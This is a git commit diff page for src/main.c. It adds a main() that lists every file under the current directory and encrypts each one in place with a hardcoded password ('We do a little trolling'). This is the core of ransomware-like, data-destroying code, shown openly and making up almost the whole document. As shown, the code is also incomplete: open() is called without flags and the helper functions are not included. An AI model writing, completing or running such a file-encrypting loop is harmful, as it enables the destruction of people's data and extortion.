diff options
| author | @syxhe <https://t.me/syxhe> | 2024-06-29 05:08:52 -0500 |
|---|---|---|
| committer | @syxhe <https://t.me/syxhe> | 2024-06-29 05:08:52 -0500 |
| commit | 863a7a0a45c3ed01af8e155a648b55b59bed4594 (patch) | |
| tree | e26cf857f8423bba7d90fd70d43b7df40457cffb /src/main.c | |
| parent | 88e58b658ba08cedf9214c01200819da354a1796 (diff) | |
Should work now
Diffstat (limited to 'src/main.c')
| -rw-r--r-- | src/main.c | 16 |
1 files changed, 16 insertions, 0 deletions
| @@ -8,8 +8,24 @@ | |||
| 8 | * | 8 | * |
| 9 | */ | 9 | */ |
| 10 | 10 | ||
| 11 | #define _GNU_SOURCE | ||
| 12 | |||
| 13 | #include "main.h" | ||
| 14 | #include "encryption.h" | ||
| 15 | #include "search.h" | ||
| 16 | #include "ll.h" | ||
| 17 | |||
| 11 | int main() { | 18 | int main() { |
| 19 | // Get folders | ||
| 20 | struct nodelist *files = scanfiles("./", alphasort); | ||
| 21 | |||
| 22 | // Encrypt those files | ||
| 23 | for(struct nodelist *p = files; p != NULL; p = p->next) { | ||
| 24 | int fd = open(p->fullpath); | ||
| 25 | passencblock(fd, "We do a little trolling"); | ||
| 26 | } | ||
| 12 | 27 | ||
| 28 | nodelist_delete(files); | ||
| 13 | 29 | ||
| 14 | return 0; | 30 | return 0; |
| 15 | } \ No newline at end of file | 31 | } \ No newline at end of file |
